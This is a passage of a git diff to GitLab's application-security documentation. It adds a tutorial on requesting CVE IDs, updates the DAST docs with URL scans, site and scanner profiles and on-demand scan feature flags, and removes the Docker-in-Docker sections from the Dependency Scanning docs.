+| C/C++ | [libFuzzer](https://llvm.org/docs/LibFuzzer.html) | [c-cpp-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/c-cpp-fuzzing-example) |
+| GoLang | [go-fuzz (libFuzzer support)](https://github.com/dvyukov/go-fuzz) | [go-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example) |
+| Swift | [libfuzzer](https://github.com/apple/swift/blob/master/docs/libFuzzerIntegration.md) | [swift-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/swift-fuzzing-example) |
+| Rust | [cargo-fuzz (libFuzzer support)](https://github.com/rust-fuzz/cargo-fuzz) | [rust-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example) |
+| Java | [JQF](https://github.com/rohanpadhye/JQF) | [java-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/java-fuzzing-example) |
## Configuration
diff --git a/doc/user/application_security/cve_id_request.md b/doc/user/application_security/cve_id_request.md
new file mode 100644
index 00000000000..94cacf2882f
--- /dev/null
+++ b/doc/user/application_security/cve_id_request.md
@@ -0,0 +1,69 @@
+---
+type: tutorial
+stage: Secure
+group: Vulnerability Research
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# CVE ID Requests
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com.
+
+As part of [GitLab's role as a CVE Numbering Authority](https://about.gitlab.com/security/cve)
+([CNA](https://cve.mitre.org/cve/cna.html)), you may request
+[CVE](https://cve.mitre.org/index.html) identifiers from GitLab to track
+vulnerabilities found within your project.
+
+## Overview
+
+CVE identifiers track specific vulnerabilities within projects. Having a CVE assigned to a
+vulnerability in your project helps your users stay secure and informed. For example,
+[dependency scanning tools](../application_security/dependency_scanning/index.md)
+can detect when vulnerable versions of your project are used as a dependency.
+
+## Conditions
+
+If the following conditions are met, a **Request CVE ID** button appears in your issue sidebar:
+
+- The project is hosted in GitLab.com.
+- The project is public.
+- You are a maintainer of the project.
+- The issue is confidential.
+
+## Submitting a CVE ID Request
+
+Clicking the **Request CVE ID** button in the issue sidebar takes you to the new issue page for
+[GitLab's CVE project](https://gitlab.com/gitlab-org/cves).
+
+![CVE ID request button](img/cve_id_request_button.png)
+
+Creating the confidential issue starts the CVE request process.
+
+![New CVE ID request issue](img/new_cve_request_issue.png)
+
+You are required to fill in the issue description, which includes:
+
+- A description of the vulnerability
+- The project's vendor and name
+- Impacted versions
+- Fixed versions
+- The vulnerability type (a [CWE](https://cwe.mitre.org/data/index.html) identifier)
+- A [CVSS v3 vector](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
+
+## CVE Assignment
+
+GitLab triages your submitted CVE ID request and communicates with you throughout the CVE validation
+and assignment process.
+
+![CVE ID request communication](img/cve_request_communication.png)
+
+Once a CVE identifier is assigned, you may use and reference it as you see fit.
+
+Details of the vulnerability submitted in the CVE ID request are published according to your
+schedule. It's common to request a CVE for an unpatched vulnerability, reference the assigned CVE
+identifier in release notes, and later publish the vulnerability's details after the fix is
+released.
+
+Separate communications notify you when different stages of the publication process are complete.
+
+![CVE ID request publication communication](img/cve_request_communication_publication.png)
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index b2020d48d38..73a8e727389 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -26,7 +26,7 @@ If you're using [GitLab CI/CD](../../../ci/README.md), you can analyze your runn
for known vulnerabilities using Dynamic Application Security Testing (DAST).
You can take advantage of DAST by either [including the CI job](#configuration) in
your existing `.gitlab-ci.yml` file or by implicitly using
-[Auto DAST](../../../topics/autodevops/stages.md#auto-dast-ultimate),
+[Auto DAST](../../../topics/autodevops/stages.md#auto-dast),
provided by [Auto DevOps](../../../topics/autodevops/index.md).
GitLab checks the DAST report, compares the found vulnerabilities between the source and target
@@ -106,7 +106,7 @@ The included template creates a `dast` job in your CI/CD pipeline and scans
your project's source code for possible vulnerabilities.
The results are saved as a
-[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast-ultimate)
+[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast)
that you can later download and analyze. Due to implementation limitations we
always take the latest DAST artifact available. Behind the scenes, the
[GitLab DAST Docker image](https://gitlab.com/gitlab-org/security-products/dast)
@@ -177,13 +177,13 @@ include:
variables:
DAST_WEBSITE: https://example.com
DAST_AUTH_URL: https://example.com/sign-in
- DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form
- DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form
- DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between
+ DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form
+ DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form
+ DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between
```
The results are saved as a
-[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast-ultimate)
+[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast)
that you can later download and analyze.
Due to implementation limitations, we always take the latest DAST artifact available.
@@ -206,6 +206,9 @@ variables:
DAST_FULL_SCAN_ENABLED: "true"
```
+NOTE: **Note:**
+If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/).
+
#### Domain validation
The DAST job can be run anywhere, which means you can accidentally hit live web servers
@@ -364,7 +367,7 @@ dast:
DAST_API_SPECIFICATION: api-specification.yml
```
-#### Full scan
+#### Full API scan
API scans support full scanning, which can be enabled by using the `DAST_FULL_SCAN_ENABLED`
environment variable. Domain validation is not supported for full API scans.
@@ -395,7 +398,11 @@ variables:
DAST_API_HOST_OVERRIDE: api-test.host.com
```
-Note that `DAST_API_HOST_OVERRIDE` is only applied to specifications imported by URL.
+NOTE: **Note:**
+Using a host override is ONLY supported when importing the API
+specification from a URL. It does not work and will be ignored when importing
+the specification from a file. This is due to a limitation in the ZAP OpenAPI
+extension.
#### Authentication using headers
@@ -412,6 +419,31 @@ variables:
DAST_REQUEST_HEADERS: "Authorization: Bearer my.token"
```
+### URL scan
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4.
+
+A URL scan allows you to specify which parts of a website are scanned by DAST.
+
+#### Define the URLs to scan
+
+To specify the paths to be scanned, add a comma-separated list of the paths to the `DAST_PATHS` environment variable. Note that you can only scan paths of a single host.
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+variables:
+ DAST_PATHS=/page1.html,/category1/page1.html,/page3.html
+```
+
+NOTE: **Note:**
+`DAST_AUTH_EXCLUDE_URLS` are ignored when `DAST_PATHS` is set.
+
+#### Full Scan
+
+To perform a [full scan](#full-scan) on the listed paths, use the `DAST_FULL_SCAN_ENABLED` environment variable.
+
### Customizing the DAST settings
CAUTION: **Deprecation:**
@@ -451,12 +483,12 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia
| `DAST_USERNAME_FIELD` | string | The name of username field at the sign-in HTML form. |
| `DAST_PASSWORD_FIELD` | string | The name of password field at the sign-in HTML form. |
| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). |
-| `DAST_AUTH_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated, no spaces in between. Not supported for API scans. |
+| `DAST_AUTH_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
| `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` |
| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` |
| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` |
-| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Example: `example.com:8080` |
-| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were supressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
+| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` |
+| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
| `DAST_REQUEST_HEADERS` | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` |
| `DAST_DEBUG` | boolean | Enable debug message output. Default: `false` |
| `DAST_SPIDER_MINS` | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. |
@@ -465,6 +497,7 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia
| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. |
| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false` |
| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false` |
+| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html` |
| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. |
| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` |
@@ -484,8 +517,8 @@ dast:
```
You must then overwrite the `script` command to pass in the appropriate
-argument. For example, passive scanning can be delayed using option `-D`. The following
-configuration delays passive scanning by five minutes:
+argument. For example, vulnerability definitions in alpha can be included with
+`-a`. The following configuration includes those definitions:
```yaml
include:
@@ -494,7 +527,7 @@ include:
dast:
script:
- export DAST_WEBSITE=${DAST_WEBSITE:-$(cat environment_url.txt)}
- - /analyze -D 300 -t $DAST_WEBSITE
+ - /analyze -a -t $DAST_WEBSITE
```
### Custom ZAProxy configuration
@@ -559,8 +592,8 @@ To use DAST in an offline environment, you need:
NOTE: **Note:**
GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
-meaning the Runner tries to pull Docker images from the GitLab container registry even if a local
-copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
+meaning the runner tries to pull Docker images from the GitLab container registry even if a local
+copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
in an offline environment if you prefer using only locally available Docker images. However, we
recommend keeping the pull policy setting to `always` if not in an offline environment, as this
enables the use of updated scanners in your CI/CD pipelines.
@@ -600,110 +633,171 @@ security reports without requiring internet access.
Alternatively, you can use the variable `SECURE_ANALYZERS_PREFIX` to override the base registry address of the `dast` image.
-## On-Demand Scans
+## Site profile
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2.
-> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3.
-> - It's deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It's able to be enabled or disabled per-project.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-on-demand-scans).
+A site profile describes the attributes of a web site to scan on demand with DAST. A site profile is
+required for an on-demand DAST scan.
-You can run a passive DAST scan against a target website, outside the DevOps lifecycle. These scans
-are always associated with the default branch of your project and the results are available in the
-project dashboard.
+A site profile contains the following:
-### Site profile
+- **Profile name**: A name you assign to the site to be scanned.
+- **Target URL**: The URL that DAST runs against.
-An on-demand scan requires a site profile, which includes a profile name and target URL. The profile
-name allows you to describe the site to be scanned. The target URL specifies the URL against which
-the DAST scan is run.
+### Create a site profile
-### Run an on-demand scan
+To create a site profile:
-NOTE: **Note:**
-You must have permission to run an on-demand DAST scan against a protected branch.
-The default branch is automatically protected. For more details, see [Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches).
+1. From your project's home page, go to **Security & Compliance > Configuration**.
+1. Click **Manage** in the **DAST Profiles** row.
+1. Click **New Profile > Site Profile**.
+1. Type in a unique **Profile name** and **Target URL** then click **Save profile**.
-Running an on-demand scan requires an existing site profile. If a site profile for the target URL
-doesn't exist, first [create a site profile](#create-a-site-profile). An on-demand DAST scan has
-a fixed timeout of 60 seconds.
+### Edit a site profile
-- Navigate to your project's home page, then click **On-demand Scans** in the left sidebar.
-- Click **Create new DAST scan**.
-- Select a site profile from the profiles dropdown.
-- Click **Run scan**.
+To edit an existing site profile:
-#### Create a site profile
+1. From your project's home page, go to **Security & Compliance > Configuration**.
+1. Click **Manage** in the **DAST Profiles** row.
+1. Click **Edit** in the row of the profile to edit.
+1. Edit the **Profile name** and **Target URL**, then click **Save profile**.
-- Navigate to your project's home page, then click **On-demand Scans** in the left sidebar.
-- Click **Create new DAST scan**.
-- Click **New Site Profile**.
-- Type in a unique **Profile name** and **Target URL** then click **Save profile**.
+### Delete a site profile
-#### Delete a site profile
+To delete an existing site profile:
-- Navigate to your project's home page, then click **On-demand Scans** in the left sidebar.
-- Click **Create new DAST scan**.
-- Click **Delete** in the matching site profile's row.
+1. From your project's home page, go to **Security & Compliance > Configuration**.
+1. Click **Manage** in the **DAST Profiles** row.
+1. Click **{remove}** in the row of the profile to delete.
-### Enable or disable On-demand Scans and site profiles
+## Scanner profile
-On-demand Scans with site profiles is enabled by default. You can disable On-demand Scans
-instance-wide, or disable it for specific projects if you prefer. DAST site profiles are not
-available if the On-demand Scans feature is disabled.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222767) in GitLab 13.4.
+> - [Deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - Enabled on GitLab.com.
+> - Can be enabled or disabled per-project.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can [disable this feature](#enable-or-disable-dast-scanner-profiles).
-Use of On-demand Scans with site profiles requires **both** the following feature flags enabled:
+A scanner profile defines the scanner settings used to run an on-demand scan:
-- security_on_demand_scans_feature_flag
-- security_on_demand_scans_site_profiles_feature_flag
+- **Profile name:** A name you give the scanner profile. For example, "Spider_15".
+- **Spider timeout:** The maximum number of minutes allowed for the spider to traverse the site.
+- **Target timeout:** The maximum number of seconds DAST waits for the site to be available before
+ starting the scan.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable or enable the feature flags.
+### Create a scanner profile
+
+To create a scanner profile:
+
+1. From your project's home page, go to **Security & Compliance > Configuration**.
+1. Click **Manage** in the **DAST Profiles** row.
+1. Click **New Profile > Scanner Profile**.
+1. Enter a unique **Profile name**, the desired **Spider timeout**, and the **Target timeout**.
+1. Click **Save profile**.
+
+### Edit a scanner profile
+
+To edit a scanner profile:
+
+1. From your project's home page, go to **Security & Compliance > Configuration**.
+1. Click **Manage** in the **DAST Profiles** row.
+1. Click **Edit** in the scanner profile's row.
-#### Enable or disable On-demand Scans
+### Delete a scanner profile
-To disable On-demand Scans:
+To delete a scanner profile:
+
+1. From your project's home page, go to **Security & Compliance > Configuration**.
+1. Click **Manage** in the **DAST Profiles** row.
+1. Click **{remove}** in the scanner profile's row.
+
+### Enable or disable DAST scanner profiles
+
+The scanner profile feature is ready for production use. It's deployed behind a feature flag that
+is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) can opt to disable it.
+
+To disable it:
```ruby
# Instance-wide
-Feature.disable(:security_on_demand_scans_feature_flag)
+Feature.disable(:security_on_demand_scans_scanner_profiles)
# or by project
-Feature.disable(:security_on_demand_scans_feature_flag, Project.find(<project id>))
+Feature.disable(:security_on_demand_scans_scanner_profiles, Project.find(<project id>))
```
-To enable On-demand Scans:
+To enable it:
```ruby
# Instance-wide
-Feature.enable(:security_on_demand_scans_feature_flag)
+Feature.enable(:security_on_demand_scans_scanner_profiles)
# or by project
-Feature.enable(:security_on_demand_scans_feature_flag, Project.find(<project id>))
+Feature.enable(:security_on_demand_scans_scanner_profiles, Project.find(<project ID>))
```
-#### Enable or disable site profiles
+## On-demand scans
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3.
+> - It's deployed behind a feature flag, enabled by default.
+> - It's enabled on GitLab.com.
+> - It's able to be enabled or disabled per-project.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-on-demand-scans).
+
+An on-demand DAST scan runs outside the DevOps life cycle. Changes in your repository don't trigger
+the scan. You must start it manually.
+
+An on-demand DAST scan:
+
+- Uses settings in the site profile and scanner profile you select when you run the scan,
+ instead of those in the `.gitlab-ci.yml` file.
+- Is associated with your project's default branch.
+
+### Run an on-demand DAST scan
+
+NOTE: **Note:**
+You must have permission to run an on-demand DAST scan against a protected branch.
+The default branch is automatically protected. For more details, see [Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches).
+
+To run an on-demand DAST scan, you need:
+
+- A [scanner profile](#create-a-scanner-profile).
+- A [site profile](#create-a-site-profile).
+
+1. From your project's home page, go to **Security & Compliance > On-demand Scans** in the left sidebar.
+1. Click **Create new DAST scan**.
+1. In **Scanner settings**, select a scanner profile from the dropdown.
+1. In **Site profiles**, select a site profile from the dropdown.
+1. Click **Run scan**.
+
+The on-demand DAST scan runs and the project's dashboard shows the results.
+
+### Enable or disable On-demand Scans
+
+The On-demand DAST Scans feature is enabled by default. You can disable on-demand scans
+instance-wide, or disable it for specific projects if you prefer.
+
+To run on-demand DAST scans, an administrator must enable the
+`security_on_demand_scans_feature_flag` feature flag.
-The Site Profiles feature is enabled instance-wide by default. You can disable it instance-wide, or disable it
-for specific projects if you prefer.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable or enable the feature flag.
+can disable or enable the feature flags.
-To disable Site Profiles:
+To disable On-demand DAST Scans:
```ruby
# Instance-wide
-Feature.disable(:security_on_demand_scans_site_profiles_feature_flag)
+Feature.disable(:security_on_demand_scans_feature_flag)
# or by project
-Feature.disable(:security_on_demand_scans_site_profiles_feature_flag, Project.find(<project id>))
+Feature.disable(:security_on_demand_scans_feature_flag, Project.find(<project id>))
```
-To enable Site Profiles:
+To enable On-demand DAST Scans:
```ruby
# Instance-wide
-Feature.enable(:security_on_demand_scans_site_profiles_feature_flag)
+Feature.enable(:security_on_demand_scans_feature_flag)
# or by project
-Feature.enable(:security_on_demand_scans_site_profiles_feature_flag, Project.find(<project id>))
+Feature.enable(:security_on_demand_scans_feature_flag, Project.find(<project ID>))
```
## Reports
@@ -825,6 +919,10 @@ variables:
Here, DAST is being allocated 3072 MB.
Change the number after `-Xmx` to the required memory amount.
+### DAST job exceeding the job timeout
+
+If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/).
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md
index d41f9441464..40189235e64 100644
--- a/doc/user/application_security/dependency_scanning/analyzers.md
+++ b/doc/user/application_security/dependency_scanning/analyzers.md
@@ -90,32 +90,7 @@ That's needed when one totally relies on [custom analyzers](#custom-analyzers).
## Custom analyzers
-### Custom analyzers with Docker-in-Docker
-
-When Docker-in-Docker for Dependency Scanning is enabled,
-you can provide your own analyzers as a comma-separated list of Docker images.
-Here's how to add `analyzers/nuget` and `analyzers/perl` to the default images.
-In `.gitlab-ci.yml` define:
-
-```yaml
-include:
- template: Dependency-Scanning.gitlab-ci.yml
-
-variables:
- DS_ANALYZER_IMAGES: "my-docker-registry/analyzers/nuget,amy-docker-registry/analyzers/perl"
-```
-
-The values must be the full path to the container registry images,
-like what you would feed to the `docker pull` command.
-
-NOTE: **Note:**
-This configuration doesn't benefit from the integrated detection step. Dependency
-Scanning has to fetch and spawn each Docker image to establish whether the
-custom analyzer can scan the source code.
-
-### Custom analyzers without Docker-in-Docker
-
-When Docker-in-Docker for Dependency Scanning is disabled, you can provide your own analyzers by
+You can provide your own analyzers by
defining CI jobs in your CI configuration. For consistency, you should suffix your custom Dependency
Scanning jobs with `-dependency_scanning`. Here's how to add a scanning job that's based on the
Docker image `my-docker-registry/analyzers/nuget` and generates a Dependency Scanning report
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index 6b14f93735b..5cce336d04c 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -20,7 +20,7 @@ vulnerabilities using Dependency Scanning.
All dependencies are scanned, including the transitive dependencies (also known as nested dependencies).
You can take advantage of Dependency Scanning by either [including the Dependency Scanning template](#configuration)
in your existing `.gitlab-ci.yml` file or by implicitly using
-the [Auto Dependency Scanning](../../../topics/autodevops/stages.md#auto-dependency-scanning-ultimate)
+the [Auto Dependency Scanning](../../../topics/autodevops/stages.md#auto-dependency-scanning)
provided by [Auto DevOps](../../../topics/autodevops/index.md).
GitLab checks the Dependency Scanning report, compares the found vulnerabilities
@@ -43,14 +43,12 @@ The results are sorted by the severity of the vulnerability:
To run Dependency Scanning jobs, by default, you need GitLab Runner with the
[`docker`](https://docs.gitlab.com/runner/executors/docker.html) or
[`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
-If you're using the shared Runners on GitLab.com, this is enabled by default.
+If you're using the shared runners on GitLab.com, this is enabled by default.
CAUTION: **Caution:**
-If you use your own Runners, make sure your installed version of Docker
+If you use your own runners, make sure your installed version of Docker
is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details.
-Beginning with GitLab 13.0, Docker privileged mode is necessary only if you've [enabled Docker-in-Docker for Dependency Scanning](#enabling-docker-in-docker).
-
## Supported languages and package managers
GitLab relies on [`rules`](../../../ci/yaml/README.md#rules) to start relevant analyzers depending on the languages detected in the repository.
@@ -61,6 +59,7 @@ The following languages and dependency managers are supported:
| Language (package managers) | Supported files | Scan tool(s) |
|----------------------------- | --------------- | ------------ |
| C# .NET ([NuGet](https://www.nuget.org/) 4.9+) | [`packages.lock.json`](https://docs.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
+| C/C++ ([Conan](https://conan.io/)) | [`conan.lock`](https://docs.conan.io/en/latest/versioning/lockfiles.html) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
| Java ([Gradle](https://gradle.org/), [Maven](https://maven.apache.org/)) | `build.gradle`, `build.gradle.kts`, `pom.xml` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
| JavaScript ([npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/)) | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium), [Retire.js](https://retirejs.github.io/retire.js/) |
| Go ([Golang](https://golang.org/)) | `go.sum` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) |
@@ -99,7 +98,7 @@ include:
The included template creates Dependency Scanning jobs in your CI/CD
pipeline and scans your project's source code for possible vulnerabilities.
The results are saved as a
-[Dependency Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdependency_scanning-ultimate)
+[Dependency Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdependency_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest Dependency Scanning artifact available.
@@ -153,24 +152,10 @@ The following variables allow configuration of global dependency scanning settin
| --------------------------------------- |------------ |
| `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the official default images (proxy). Read more about [customizing analyzers](analyzers.md). |
| `DS_DEFAULT_ANALYZERS` | Override the names of the official default images. Read more about [customizing analyzers](analyzers.md). |
-| `DS_DISABLE_DIND` | Disable Docker-in-Docker and run analyzers [individually](#enabling-docker-in-docker). This variable is `true` by default. |
-| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. |
+| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. The bundle of certificates provided here is also used by other tools during the scanning process, such as `git`, `yarn`, or `npm`. |
| `DS_EXCLUDED_PATHS` | Exclude vulnerabilities from output based on the paths. A comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. Default: `"spec, test, tests, tmp"` |
| `SECURE_LOG_LEVEL` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. Default: `info` |
-#### Configuring Docker-in-Docker orchestrator
-
-The following variables configure the Docker-in-Docker orchestrator, and therefore are only used when the Docker-in-Docker mode is [enabled](#enabling-docker-in-docker).
-
-| Environment variable | Default | Description |
-| --------------------------------------- | ----------- | ----------- |
-| `DS_ANALYZER_IMAGES` | | Comma-separated list of custom images. The official default images are still enabled. Read more about [customizing analyzers](analyzers.md). |
-| `DS_ANALYZER_IMAGE_TAG` | | Override the Docker tag of the official default images. Read more about [customizing analyzers](analyzers.md). |
-| `DS_PULL_ANALYZER_IMAGES` | | Pull the images from the Docker registry (set to `0` to disable). |
-| `DS_DOCKER_CLIENT_NEGOTIATION_TIMEOUT` | 2m | Time limit for Docker client negotiation. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, or `h`. For example, `300ms`, `1.5h`, or `2h45m`. |
-| `DS_PULL_ANALYZER_IMAGE_TIMEOUT` | 5m | Time limit when pulling an analyzer's image. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, or `h`. For example, `300ms`, `1.5h`, or `2h45m`. |
-| `DS_RUN_ANALYZER_TIMEOUT` | 20m | Time limit when running an analyzer. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, or `h`. For example, `300ms`, `1.5h`, or `2h45m`. |
-
#### Configuring specific analyzers used by Dependency Scanning
The following variables are used for configuring specific analyzers (used for a specific language/framework).
@@ -205,27 +190,6 @@ you can use the `MAVEN_CLI_OPTS` environment variable.
Read more on [how to use private Maven repositories](../index.md#using-private-maven-repos).
-### Enabling Docker-in-Docker
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12487) in GitLab Ultimate 12.5.
-
-If needed, you can enable Docker-in-Docker to restore the Dependency Scanning behavior that existed
-prior to GitLab 13.0. Follow these steps to do so:
-
-1. Configure GitLab Runner with Docker-in-Docker in [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode).
-1. Set the `DS_DISABLE_DIND` variable to `false`:
-
- ```yaml
- include:
- - template: Dependency-Scanning.gitlab-ci.yml
-
- variables:
- DS_DISABLE_DIND: "false"
- ```
-
-This creates a single `dependency_scanning` job in your CI/CD pipeline instead of multiple
-`<analyzer-name>-dependency_scanning` jobs.
-
## Interacting with the vulnerabilities
Once a vulnerability is found, you can interact with it. Read more on how to
@@ -388,7 +352,6 @@ jobs to run successfully. For more information, see [Offline environments](../of
Here are the requirements for using Dependency Scanning in an offline environment:
-- Keep Docker-In-Docker disabled (default).
- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
